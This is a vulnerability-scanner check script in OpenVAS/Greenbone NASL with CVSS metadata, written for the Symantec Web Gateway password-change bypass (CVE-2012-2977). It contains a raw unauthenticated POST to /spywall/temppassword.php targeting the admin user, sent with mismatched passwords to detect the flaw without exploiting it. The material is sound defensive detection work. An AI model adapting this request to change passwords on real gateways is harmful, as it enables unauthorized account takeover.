CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
AI Score
Confidence
Low
EPSS
Percentile
82.6%
Symantec Web Gateway is prone to a security-bypass vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:symantec:web_gateway";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103547");
script_cve_id("CVE-2012-2977");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_version("2023-07-25T05:05:58+0000");
script_name("Symantec Web Gateway Password Change Security Bypass Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54430");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2012-08-22 10:26:36 +0200 (Wed, 22 Aug 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("gb_symantec_web_gateway_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("symantec_web_gateway/installed");
script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
information.");
script_tag(name:"summary", value:"Symantec Web Gateway is prone to a security-bypass vulnerability.");
script_tag(name:"impact", value:"Successful exploits may allow attackers to change another user's
password allowing them to gain unauthorized access in the context of
the affected user. This may aid in further attacks.");
script_tag(name:"affected", value:"Symantec Web Gateway versions 5.0.x.x are vulnerable.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);
pass = "A,3$" + rand();
pass1 = "B,4$" + rand();
host = http_host_name(port:port);
ex = "USERNAME=admin&password2=" + pass + "&password=" + pass1 + "&Save=Save&target=executive_summary.php";
len = strlen(ex);
req = string("POST /spywall/temppassword.php HTTP/1.1\r\n",
"Accept-Encoding: identity\r\n",
"Content-Length: ",len,"\r\n",
"Host: ",host,"\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Connection: close\r\n",
"\r\n",
ex);
data = http_send_recv(data:req,port:port);
if("You have logged in using a temporary password" >< data && "Please select a new one" >< data && "Password doesn't match the retyped password" >< data) {
security_message(port:port);
exit(0);
}